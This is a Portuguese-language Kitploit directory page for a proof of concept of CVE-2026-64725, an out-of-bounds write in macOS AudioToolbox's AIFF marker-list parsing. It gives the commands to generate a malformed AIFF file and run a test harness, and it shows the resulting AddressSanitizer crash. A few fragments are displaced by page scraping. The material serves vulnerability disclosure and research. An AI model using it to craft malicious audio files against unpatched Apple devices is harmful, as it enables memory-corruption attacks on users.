Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-64725-poc — A PoC for CVE-2026-64725 | Kitploit
Ferramentas/GitHubGitHub/altvist/cve-2026-64725-poc
Vulnerability AnalysisExploitationBinary Exploitation
GitHubaltvist/cve-2026-64725-poc

cve-2026-64725-poc

A PoC for CVE-2026-64725

Ver Repositório
1há 22 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

O que há neste repositório?

Uma PoC para CVE-2026-64725. Veja o código-fonte e o artigo do blog para detalhes.

Como reproduzir?

Plataformas

Encontrado em macOS 26.4.1 (build 25E253; Darwin 25.4.0 (xnu-12377.101.15~1); Apple Silicon (T8103 / M1)).

A Apple confirma que macOS/iOS/iPadOS < 26.6 são vulneráveis.

PoC

  1. Certifique-se de que o seu Mac esteja executando o macOS mais recente

  2. Certifique-se de que você tenha Python 3.6+ e clang instalados

  3. Clone o repositório para o seu Mac

  4. Gere um AIFF mínimo malformado que acione o bug de deslocamento com sinal em int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool):

    root@kitploit:~
    cd poc/
    python3 gen_marker_oob_aiff.py
    

    ou

    root@kitploit:~
    cd poc/
    make aiff
    

    Como resultado, você deve obter marker_oob.aiff.

  5. Compile o harness mínimo da PoC com ASan:

    root@kitploit:~
    make 
    

    Como resultado, você deve obter marker_oob_harness.

Executar a PoC

root@kitploit:~
./marker_oob_harness marker_oob.aiff

Você deve ver algo como

root@kitploit:~
buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
==62449==The signal is caused by a WRITE memory access.
==62449==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
    #0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
    #1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
    #2 0x000104778ca4 in main marker_oob_harness.c:59
    #3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)

==62449==Register values:
 x[0] = 0xa29319b2bf742f12   x[1] = 0x0000000000000000   x[2] = 0x0000000000000000   x[3] = 0x0000000000000008  
 x[4] = 0x0000000000000004   x[5] = 0xffffffffffffffff   x[6] = 0x0000000000000000   x[7] = 0x0000000000000001  
 x[8] = 0x0000000000000000   x[9] = 0x0000000000001917  x[10] = 0x0000000000000002  x[11] = 0x0000000000000000  
x[12] = 0x000000002d6d0c46  x[13] = 0x00000001fd0f3380  x[14] = 0x0000000000000000  x[15] = 0x0000000000000000  
x[16] = 0x000000016b686231  x[17] = 0x00000001fd0e6d78  x[18] = 0x0000000000000000  x[19] = 0x0000000000000001  
x[20] = 0x000000016b686420  x[21] = 0x0000615000000a80  x[22] = 0x0000000000000000  x[23] = 0x000000000000c8e6  
x[24] = 0x000000000000c8e8  x[25] = 0x00000000ffffe6e9  x[26] = 0x0000000000000004  x[27] = 0x000061900004000c  
x[28] = 0x0000000000000002     fp = 0x000000016b686390     lr = 0x00000001929391b8     sp = 0x000000016b686220  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
==62449==ABORTING
zsh: abort      ./marker_oob_harness marker_oob.aiff

O que aconteceu?

Em suma:

  1. marker_oob_harness abriu marker_oob.aiff chamando a API pública documentada AudioFileOpenURL(...)

  2. marker_oob_harness chamou calloc para alocar um buffer de saída de comprimento fixo para marcadores (não é a melhor prática, mas acontece com frequência no mundo real; o padrão de código mais seguro GetMarkerListSize é discutido em "Casos seguros" / "GetMarkerListSize → malloc(size) → GetMarkerList" abaixo)

  3. marker_oob_harness tentou obter uma lista de marcadores chamando a API pública documentada AudioFileGetProperty(...) com . Todos os argumentos, incluindo o tamanho do buffer de saída e o ponteiro para o buffer, estavam corretos.

O número de bytes escritos além do final do buffer depende do tamanho do arquivo. Um arquivo .aiff malicioso pode estourar qualquer buffer de tamanho razoável se o arquivo for grande o suficiente.

Veja o artigo do blog para detalhes.

Baixar ferramenta
inPropertyID=kAudioFilePropertyMarkerList
  • AudioFileGetProperty(...) chamou, internamente, a API não documentada int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)

  • int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) interpretou incorretamente o tamanho (correto!) do buffer de saída e escreve bytes de marker_oob.aiff além do final do buffer, então você viu a mensagem de falha do ASan. O comportamento correto esperado seria retornar um erro de buffer pequeno demais ou algo do tipo.